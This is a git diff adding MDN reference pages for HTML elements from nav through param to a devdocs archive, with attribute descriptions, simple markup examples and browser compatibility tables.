Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

Examples

+
+

In this example, a <nav> block is used to contain an unordered list (<ul>) of links. With appropriate CSS, this can be presented as a sidebar, navigation bar, or drop-down menu.

+

html

+
<nav class="menu">
+  <ul>
+    <li><a href="#">Home</a></li>
+    <li><a href="#">About</a></li>
+    <li><a href="#">Contact</a></li>
+  </ul>
+</nav>
+
+

The semantics of the nav element is that of providing links. However a nav element doesn't have to contain a list, it can contain other kinds of content as well. In this navigation block, links are provided in prose:

+

html

+
<nav>
+  <h2>Navigation</h2>
+  <p>
+    You are on my home page. To the north lies <a href="/blog">my blog</a>, from
+    whence the sounds of battle can be heard. To the east you can see a large
+    mountain, upon which many <a href="/school">school papers</a> are littered.
+    Far up this mountain you can spy a little figure who appears to be me,
+    desperately scribbling a <a href="/school/thesis">thesis</a>.
+  </p>
+  <p>
+    To the west are several exits. One fun-looking exit is labeled
+    <a href="https://games.example.com/">"games"</a>. Another more
+    boring-looking exit is labeled <a href="https://isp.example.net/">ISP™</a>.
+  </p>
+  <p>
+    To the south lies a dark and dank <a href="/about">contacts page</a>.
+    Cobwebs cover its disused entrance, and at one point you see a rat run
+    quickly out of the page.
+  </p>
+</nav>
+
+
+
+

Result

+
+ + +
+

Specifications

+
+ + +
Specification
HTML Standard
# the-nav-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
nav5124911.154.418411.14.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/nav +

+
diff --git a/devdocs/html/element%2Fnobr.html b/devdocs/html/element%2Fnobr.html new file mode 100644 index 00000000..15fd9691 --- /dev/null +++ b/devdocs/html/element%2Fnobr.html @@ -0,0 +1,59 @@ +

<nobr>: The Non-Breaking Text element

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <nobr> HTML element prevents the text it contains from automatically wrapping across multiple lines, potentially resulting in the user having to scroll horizontally to see the entire width of the text.

Warning: Although this element is widely supported, it was never standard HTML, so you shouldn't use it. Instead, use the CSS property white-space like this:

+

html

+
<span style="white-space: nowrap;">Long line with no breaks</span>
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# nobr
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
nobr1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/nobr +

+
diff --git a/devdocs/html/element%2Fnoembed.html b/devdocs/html/element%2Fnoembed.html new file mode 100644 index 00000000..aba7f9a7 --- /dev/null +++ b/devdocs/html/element%2Fnoembed.html @@ -0,0 +1,65 @@ +

<noembed>: The Embed Fallback element

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <noembed> HTML element is an obsolete, non-standard way to provide alternative, or "fallback", content for browsers that do not support the <embed> element or do not support the type of embedded content an author wishes to use. This element was deprecated in HTML 4.01 and above in favor of placing fallback content between the opening and closing tags of an <object> element.

Note: While this element currently still works in many browsers, it is obsolete and should not be used. Use <object> instead, with fallback content between the opening and closing tags of the element.

+
+

Examples

+

The message inside <noembed> tag will appear only when your browser does not support <embed> tag.

+

Show an alternative content

+
+

html

+
<embed type="vide/webm" src="/media/examples/flower.mp4" width="200" height="200">
+  <noembed>
+    <h1>Alternative content</h1>
+  </noembed>
+</embed>
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# noembed
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
noembed1121Yes15≤44.418414≤3.21.0
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/noembed +

+
diff --git a/devdocs/html/element%2Fnoframes.html b/devdocs/html/element%2Fnoframes.html new file mode 100644 index 00000000..7b9410a6 --- /dev/null +++ b/devdocs/html/element%2Fnoframes.html @@ -0,0 +1,80 @@ +

<noframes>: The Frame Fallback element

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <noframes> HTML element provides content to be presented in browsers that don't support (or have disabled support for) the <frame> element. Although most commonly-used browsers support frames, there are exceptions, including certain special-use browsers including some mobile browsers, as well as text-mode browsers.

A <noframes> element can contain any HTML elements that are allowed within the body of an HTML document, except for the <frameset> and <frame> elements, since using frames when they aren't supported doesn't make sense.

<noframes> can be used to present a message explaining that the user's browser doesn't support frames, but ideally should be used to present an alternate form of the site that doesn't use frames but still offers the same or similar functionality.

Note: This element is obsolete and shouldn't be used, since the <frame> and <frameset> elements are also obsolete. When frames are needed at all, they should be presented using the <iframe> element.

+
+

Attributes

+

Like all other HTML elements, this element supports the global attributes. It has no other attributes available.

+

Example

+
+

In this example, we see a frameset with two frames. In addition, <noframes> is used to present an explanatory message if the user agent doesn't support frames.

+

html

+
<!doctype html>
+<html lang="en-US">
+  <head>
+    <!-- Document metadata goes here -->
+  </head>
+  <frameset rows="45%, 55%">
+    <frame src="https://developer.mozilla.org/en/HTML/Element/frameset" />
+    <frame src="https://developer.mozilla.org/en/HTML/Element/frame" />
+    <noframes>
+      <p>
+        It seems your browser does not support frames or is configured to not
+        allow them.
+      </p>
+    </noframes>
+  </frameset>
+</html>
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# noframes
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
noframes1121Yes1534.41841421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/noframes +

+
diff --git a/devdocs/html/element%2Fnoscript.html b/devdocs/html/element%2Fnoscript.html new file mode 100644 index 00000000..79a5d195 --- /dev/null +++ b/devdocs/html/element%2Fnoscript.html @@ -0,0 +1,71 @@ +

<noscript>: The Noscript element

+

The <noscript> HTML element defines a section of HTML to be inserted if a script type on the page is unsupported or if scripting is currently turned off in the browser.

Content categories Metadata content, flow content, phrasing content.
Permitted content When scripting is disabled and when it is a descendant of the <head> element: in any order, zero or more <link> elements, zero or more <style> elements, and zero or more <meta> elements.
When scripting is disabled and when it isn't a descendant of the <head> element: any transparent content, but no <noscript> element must be among its descendants.
Otherwise: flow content or phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content, if there are no ancestor <noscript> element, or in a <head> element (but only for an HTML document), here again if there are no ancestor <noscript> element.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLElement
+
+

Attributes

+

This element only includes the global attributes.

+

Examples

+
+

html

+
<noscript>
+  <!-- anchor linking to external file -->
+  <a href="https://www.mozilla.org/">External Link</a>
+</noscript>
+<p>Rocks!</p>
+
+
+

Result with scripting enabled

+

Rocks!

+

Result with scripting disabled

+
+

External Link

Rocks!

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-noscript-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
noscript1121Yes1534.41841421.0
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/noscript +

+
diff --git a/devdocs/html/element%2Fobject.html b/devdocs/html/element%2Fobject.html new file mode 100644 index 00000000..7c2fb7f1 --- /dev/null +++ b/devdocs/html/element%2Fobject.html @@ -0,0 +1,324 @@ +

<object>: The External Object element

The <object> HTML element represents an external resource, which can be treated as an image, a nested browsing context, or a resource to be handled by a plugin.

+

Try it

+
+

Attributes

+
+

This element includes the global attributes.

+archive +

A space-separated list of URIs for archives of resources for the object.

+border +

The width of a border around the control, in pixels.

+classid +

The URI of the object's implementation. It can be used together with, or in place of, the data attribute.

+codebase +

The base path used to resolve relative URIs specified by classid, data, or archive. If not specified, the default is the base URI of the current document.

+codetype +

The content type of the data specified by classid.

data

The address of the resource as a valid URL. At least one of data and type must be defined.

+declare +

The presence of this Boolean attribute makes this element a declaration only. The object must be instantiated by a subsequent <object> element. Repeat the <object> element completely each time the resource is reused.

form

The form element, if any, that the object element is associated with (its form owner). The value of the attribute must be an ID of a <form> element in the same document.

height

The height of the displayed resource, in CSS pixels. — (Absolute values only. NO percentages)

name

The name of valid browsing context (HTML5), or the name of the control (HTML 4).

+standby +

A message that the browser can show while loading the object's implementation and data.

type

The content type of the resource specified by data. At least one of data and type must be defined.

usemap

A hash-name reference to a <map> element; that is a '#' followed by the value of a name of a map element.

width

The width of the display resource, in CSS pixels. — (Absolute values only. NO percentages)

+
+

Examples

+ +

Embed a video

+
+

HTML

+

html

+
<object
+  type="video/mp4"
+  data="https://interactive-examples.mdn.mozilla.net/media/cc0-videos/flower.webm"
+  width="600"
+  height="140">
+  <img src="path/image.jpg" alt="useful image description" />
+</object>
+
+

Result

+
+ + +

If the video in the example fails to load, the user will be provided with an image as fallback content. The <img> tag is used to display an image. We include the src attribute set to the path to the image we want to embed. We also include the alt attribute, which provides the image with an accessible name. If the image also fails to load, the content of the alt attribute will be displayed.

+
+

Technical summary

+
Content categories Flow content; phrasing content; embedded content, palpable content; if the element has a usemap attribute, interactive content; listed, submittable form-associated element.
Permitted content zero or more <param> elements, then transparent.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts embedded content.
Implicit ARIA role No corresponding role
Permitted ARIA roles +application, document, img +
DOM interface HTMLObjectElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-object-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
object1121Yes1534.41841421.0
archive1121Yes1534.41841421.0
border1121Yes1534.41841421.0
classidYes121YesYesYesYesYes4YesYesYes
codebase1121Yes1534.41841421.0
codetype1121Yes1534.41841421.0
data1121Yes1534.41841421.0
declare1121Yes1534.41841421.0
form1121Yes1534.41841421.0
height1121Yes1534.41841421.0
name1121Yes1534.41841421.0
standby1121Yes1534.41841421.0
tabindex1121Yes153.14.41841421.0
type1121Yes1534.41841421.0
usemap1121Yes1534.41841421.0
width1121Yes1534.41841421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object +

+
diff --git a/devdocs/html/element%2Fol.html b/devdocs/html/element%2Fol.html new file mode 100644 index 00000000..1f117533 --- /dev/null +++ b/devdocs/html/element%2Fol.html @@ -0,0 +1,237 @@ +

<ol>: The Ordered List element

The <ol> HTML element represents an ordered list of items — typically rendered as a numbered list.

+

Try it

+
+

Attributes

+
+

This element also accepts the global attributes.

reversed

This Boolean attribute specifies that the list's items are in reverse order. Items will be numbered from high to low.

start

An integer to start counting from for the list items. Always an Arabic numeral (1, 2, 3, etc.), even when the numbering type is letters or Roman numerals. For example, to start numbering elements from the letter "d" or the Roman numeral "iv," use start="4".

type

Sets the numbering type:

  • +a for lowercase letters
  • +A for uppercase letters
  • +i for lowercase Roman numerals
  • +I for uppercase Roman numerals
  • +1 for numbers (default)

The specified type is used for the entire list unless a different type attribute is used on an enclosed <li> element.

Note: Unless the type of the list number matters (like legal or technical documents where items are referenced by their number/letter), use the CSS list-style-type property instead.

+
+

Usage notes

+
+

Typically, ordered list items display with a preceding marker, such as a number or letter.

The <ol> and <ul> elements may nest as deeply as desired, alternating between <ol> and <ul> however you like.

The <ol> and <ul> elements both represent a list of items. The difference is with the <ol> element, the order is meaningful. For example:

To determine which list to use, try changing the order of the list items; if the meaning changes, use the <ol> element — otherwise you can use <ul>.

+
+

Examples

+ +

Simple example

+
+
+

html

+
<ol>
+  <li>Fee</li>
+  <li>Fi</li>
+  <li>Fo</li>
+  <li>Fum</li>
+</ol>
+
+

Result

+
+ + +
+
+

Using Roman Numeral type

+
+
+

html

+
<ol type="i">
+  <li>Introduction</li>
+  <li>List of Grievances</li>
+  <li>Conclusion</li>
+</ol>
+
+

Result

+
+ + +
+
+

Using the start attribute

+
+
+

html

+
<p>Finishing places of contestants not in the winners' circle:</p>
+
+<ol start="4">
+  <li>Speedwalk Stu</li>
+  <li>Saunterin' Sam</li>
+  <li>Slowpoke Rodriguez</li>
+</ol>
+
+

Result

+
+ + +
+
+

Nesting lists

+
+
+

html

+
<ol>
+  <li>first item</li>
+  <li>
+    second item
+    <!-- closing </li> tag is not here! -->
+    <ol>
+      <li>second item first subitem</li>
+      <li>second item second subitem</li>
+      <li>second item third subitem</li>
+    </ol>
+  </li>
+  <!-- Here's the closing </li> tag -->
+  <li>third item</li>
+</ol>
+
+

Result

+
+ + +
+
+

Unordered list inside ordered list

+
+
+

html

+
<ol>
+  <li>first item</li>
+  <li>
+    second item
+    <!-- closing </li> tag is not here! -->
+    <ul>
+      <li>second item first subitem</li>
+      <li>second item second subitem</li>
+      <li>second item third subitem</li>
+    </ul>
+  </li>
+  <!-- Here's the closing </li> tag -->
+  <li>third item</li>
+</ol>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories Flow content, and if the <ol> element's children include at least one <li> element, palpable content.
Permitted content Zero or more <li>, <script> and <template> elements.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content.
Implicit ARIA role list
Permitted ARIA roles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar, tree
DOM interface HTMLOListElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-ol-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
ol1121Yes15≤44.418414≤3.21.0
compact1121Yes1534.41841421.0
reversed18≤7918No1564.418181461.0
start1121Yes15≤44.418414≤3.21.0
type1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ol +

+
diff --git a/devdocs/html/element%2Foptgroup.html b/devdocs/html/element%2Foptgroup.html new file mode 100644 index 00000000..15a7eea5 --- /dev/null +++ b/devdocs/html/element%2Foptgroup.html @@ -0,0 +1,119 @@ +

<optgroup>: The Option Group element

The <optgroup> HTML element creates a grouping of options within a <select> element.

+

Try it

+
+

Note: Optgroup elements may not be nested.

+
+

Attributes

+
+

This element includes the global attributes.

disabled

If this Boolean attribute is set, none of the items in this option group is selectable. Often browsers grey out such control and it won't receive any browsing events, like mouse clicks or focus-related ones.

label

The name of the group of options, which the browser can use when labeling the options in the user interface. This attribute is mandatory if this element is used.

+
+

Examples

+
+

html

+
<select>
+  <optgroup label="Group 1">
+    <option>Option 1.1</option>
+  </optgroup>
+  <optgroup label="Group 2">
+    <option>Option 2.1</option>
+    <option>Option 2.2</option>
+  </optgroup>
+  <optgroup label="Group 3" disabled>
+    <option>Option 3.1</option>
+    <option>Option 3.2</option>
+    <option>Option 3.3</option>
+  </optgroup>
+</select>
+
+
+

Result

+
+ + +
+

Technical summary

+
Content categories None.
Permitted content Zero or more <option> elements.
Tag omission The start tag is mandatory. The end tag is optional if this element is immediately followed by another <optgroup> element, or if the parent element has no more content.
Permitted parents A <select> element.
Implicit ARIA role group
Permitted ARIA roles No role permitted
DOM interface HTMLOptGroupElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-optgroup-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
optgroup11215.515≤44.418414≤3.21.0
disabled1121815≤44.418414≤3.21.0
label11215.515≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/optgroup +

+
diff --git a/devdocs/html/element%2Foption.html b/devdocs/html/element%2Foption.html new file mode 100644 index 00000000..cfaa7be7 --- /dev/null +++ b/devdocs/html/element%2Foption.html @@ -0,0 +1,127 @@ +

<option>: The HTML Option element

The <option> HTML element is used to define an item contained in a <select>, an <optgroup>, or a <datalist> element. As such, <option> can represent menu items in popups and other lists of items in an HTML document.

+

Try it

+
+

Attributes

+
+

This element includes the global attributes.

disabled

If this Boolean attribute is set, this option is not checkable. Often browsers grey out such control and it won't receive any browsing event, like mouse clicks or focus-related ones. If this attribute is not set, the element can still be disabled if one of its ancestors is a disabled <optgroup> element.

label

This attribute is text for the label indicating the meaning of the option. If the label attribute isn't defined, its value is that of the element text content.

selected

If present, this Boolean attribute indicates that the option is initially selected. If the <option> element is the descendant of a <select> element whose multiple attribute is not set, only one single <option> of this <select> element may have the selected attribute.

value

The content of this attribute represents the value to be submitted with the form, should this option be selected. If this attribute is omitted, the value is taken from the text content of the option element.

+
+

Styling with CSS

+

Styling the <option> element is highly limited. Options don't inherit the font set on the parent. In Firefox, only color and background-color can be set, however in Chrome and Safari it's not possible to set any properties. You can find more details about styling in our guide to advanced form styling.

+

Examples

+

See <select> for examples.

+

Technical summary

+
Content categories None.
Permitted content Text, possibly with escaped characters (like &eacute;).
Tag omission The start tag is mandatory. The end tag is optional if this element is immediately followed by another <option> element or an <optgroup>, or if the parent element has no more content.
Permitted parents A <select>, an <optgroup> or a <datalist> element.
Implicit ARIA role option
Permitted ARIA roles No role permitted
DOM interface HTMLOptionElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-option-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
option1121Yes15≤44.418414≤3.21.0
disabled1121Yes15≤44.418414≤3.21.0
label112
1["Before 77, Firefox didn't display the value of the label attribute as option text if element's content was empty. See bug 40545.", "Historically, Firefox has allowed keyboard and mouse events to bubble up from the <option> element to the parent <select> element, although this behavior is inconsistent across many browsers. For better Web compatibility (and for technical reasons), they will not bubble up when Firefox is in multi-process mode and the <select> element is displayed as a drop-down list. The behavior is unchanged if the <select> is presented inline and it has either the multiple attribute defined or a size attribute set to more than 1. Rather than watching <option> elements for events, you should watch for change events on <select>. See bug 1090602 for details.", "When Mozilla introduced dedicated content threads to Firefox (through the Electrolysis, or e10s, project), support for styling <option> elements was removed temporarily. Starting in Firefox 54, you can apply foreground and background colors to <option> elements again, using the color and background-color CSS properties. See bug 910022 for more information. Note that this is still disabled in Linux due to lack of contrast (see bug 1338283 for progress on this)."]
Yes15≤44.418
4Before 77, Firefox didn't display the value of the label attribute as option text if element's content was empty. See bug 40545.
14≤3.21.0
selected1121Yes15≤44.418414≤3.21.0
value1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/option +

+
diff --git a/devdocs/html/element%2Foutput.html b/devdocs/html/element%2Foutput.html new file mode 100644 index 00000000..6ecd439b --- /dev/null +++ b/devdocs/html/element%2Foutput.html @@ -0,0 +1,124 @@ +

<output>: The Output element

The <output> HTML element is a container element into which a site or app can inject the results of a calculation or the outcome of a user action.

+

Attributes

+
+

This element includes the global attributes.

for

A space-separated list of other elements' ids, indicating that those elements contributed input values to (or otherwise affected) the calculation.

form

The <form> element to associate the output with (its form owner). The value of this attribute must be the id of a <form> in the same document. (If this attribute is not set, the <output> is associated with its ancestor <form> element, if any.)

This attribute lets you associate <output> elements to <form>s anywhere in the document, not just inside a <form>. It can also override an ancestor <form> element.

name

The element's name. Used in the form.elements API.

The <output> value, name, and contents are NOT submitted during form submission.

+
+

Examples

+
+

In the following example, the form provides a slider whose value can range between 0 and 100, and an <input> element into which you can enter a second number. The two numbers are added together, and the result is displayed in the <output> element each time the value of any of the controls changes.

+

html

+
<form oninput="result.value=parseInt(a.value)+parseInt(b.value)">
+  <input type="range" id="b" name="b" value="50" /> +
+  <input type="number" id="a" name="a" value="10" /> =
+  <output name="result" for="a b">60</output>
+</form>
+
+
+
+

Result

+
+ + +
+

Accessibility Concerns

+

Many browsers implement this element as an aria-live region. Assistive technology will thereby announce the results of UI interactions posted inside it without requiring that focus is switched away from the controls that produce those results.

+

Technical summary

+
Content categories Flow content, phrasing content, listed, labelable, resettable form-associated element, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role status
Permitted ARIA roles Any
DOM interface HTMLOutputElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-output-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
output10≤184No1174.41841171.0
for10≤184No1174.41841171.0
form10≤184No1174.41841171.0
name10≤184No1174.41841171.0
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/output +

+
diff --git a/devdocs/html/element%2Fp.html b/devdocs/html/element%2Fp.html new file mode 100644 index 00000000..5abe191c --- /dev/null +++ b/devdocs/html/element%2Fp.html @@ -0,0 +1,163 @@ +

<p>: The Paragraph element

+

The <p> HTML element represents a paragraph. Paragraphs are usually represented in visual media as blocks of text separated from adjacent blocks by blank lines and/or first-line indentation, but HTML paragraphs can be any structural grouping of related content, such as images or form fields.

Paragraphs are block-level elements, and notably will automatically close if another block-level element is parsed before the closing </p> tag. See "Tag omission" below.

+
+

Try it

+
+
Content categories +Flow content, palpable content.
Permitted content +Phrasing content.
Tag omission The start tag is required. The end tag may be omitted if the <p> element is immediately followed by an <address>, <article>, <aside>, <blockquote>, <details>, <div>, <dl>, <fieldset>, <figcaption>, <figure>, <footer>, <form>, h1, h2, h3, h4, h5, h6, <header>, <hgroup>, <hr>, <main>, <menu>, <nav>, <ol>, <pre>, <search>, <section>, <table>, <ul> or another <p> element, or if there is no more content in the parent element and the parent element is not an <a>, <audio>, <del>, <ins>, <map>, <noscript> or <video> element, or an autonomous custom element.
Permitted parents Any element that accepts flow content.
Implicit ARIA role paragraph
Permitted ARIA roles Any
DOM interface HTMLParagraphElement
+
+

Attributes

+
+

This element only includes the global attributes.

Note: The align attribute on <p> tags is obsolete and shouldn't be used.

+
+

Examples

+ +

HTML

+
+

html

+
<p>
+  This is the first paragraph of text. This is the first paragraph of text. This
+  is the first paragraph of text. This is the first paragraph of text.
+</p>
+<p>
+  This is the second paragraph. This is the second paragraph. This is the second
+  paragraph. This is the second paragraph.
+</p>
+
+
+

Result

+
+ + +
+

Styling paragraphs

+

By default, browsers separate paragraphs with a single blank line. Alternate separation methods, such as first-line indentation, can be achieved with CSS:

+

HTML

+
+

html

+
<p>
+  Separating paragraphs with blank lines is easiest for readers to scan, but
+  they can also be separated by indenting their first lines. This is often used
+  to take up less space, such as to save paper in print.
+</p>
+
+<p>
+  Writing that is intended to be edited, such as school papers and rough drafts,
+  uses both blank lines and indentation for separation. In finished works,
+  combining both is considered redundant and amateurish.
+</p>
+
+<p>
+  In very old writing, paragraphs were separated with a special character: ¶,
+  the <i>pilcrow</i>. Nowadays, this is considered claustrophobic and hard to
+  read.
+</p>
+
+<p>
+  How hard to read? See for yourself:
+  <button data-toggle-text="Oh no! Switch back!">
+    Use pilcrow for paragraphs
+  </button>
+</p>
+
+
+

CSS

+
+

css

+
p {
+  margin: 0;
+  text-indent: 3ch;
+}
+
+p.pilcrow {
+  text-indent: 0;
+  display: inline;
+}
+p.pilcrow + p.pilcrow::before {
+  content: " ¶ ";
+}
+
+
+

JavaScript

+
+

js

+
document.querySelector("button").addEventListener("click", (event) => {
+  document.querySelectorAll("p").forEach((paragraph) => {
+    paragraph.classList.toggle("pilcrow");
+  });
+
+  [event.target.innerText, event.target.dataset.toggleText] = [
+    event.target.dataset.toggleText,
+    event.target.innerText,
+  ];
+});
+
+
+

Result

+
+ + +
+

Accessibility concerns

+
+

Breaking up content into paragraphs helps make a page more accessible. Screen-readers and other assistive technology provide shortcuts to let their users skip to the next or previous paragraph, letting them skim content like how white space lets visual users skip around.

Using empty <p> elements to add space between paragraphs is problematic for people who navigate with screen-reading technology. Screen readers may announce the paragraph's presence, but not any content contained within it — because there is none. This can confuse and frustrate the person using the screen reader.

If extra space is desired, use CSS properties like margin to create the effect:

+

css

+
p {
+  margin-bottom: 2em; /* increase white space after a paragraph */
+}
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-p-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
p1121Yes1514.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/p +

+
diff --git a/devdocs/html/element%2Fparam.html b/devdocs/html/element%2Fparam.html new file mode 100644 index 00000000..2a594d86 --- /dev/null +++ b/devdocs/html/element%2Fparam.html @@ -0,0 +1,134 @@ +

<param>: The Object Parameter element

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <param> HTML element defines parameters for an <object> element.

+
+

Attributes

+
+

This element includes the global attributes.

+name +

Name of the parameter.

+value +

Specifies the value of the parameter.

+type +

Only used if the valuetype is set to ref. Specifies the MIME type of values found at the URI specified by value.

+valuetype +

Specifies the type of the value attribute. Possible values are:

  • +data: Default value. The value is passed to the object's implementation as a string.
  • +ref: The value is a URI to a resource where run-time values are stored.
  • +object: An ID of another <object> in the same document.
+
+

Technical summary

+
Content categories None.
Permitted content None; it is a void element.
Tag omission As it is a void element, the start tag must be present and the end tag must not be present.
Permitted parents An <object> before any flow content.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLParamElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-param-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
param1121Yes15≤44.418414≤3.21.0
name1121Yes15≤44.418414≤3.21.0
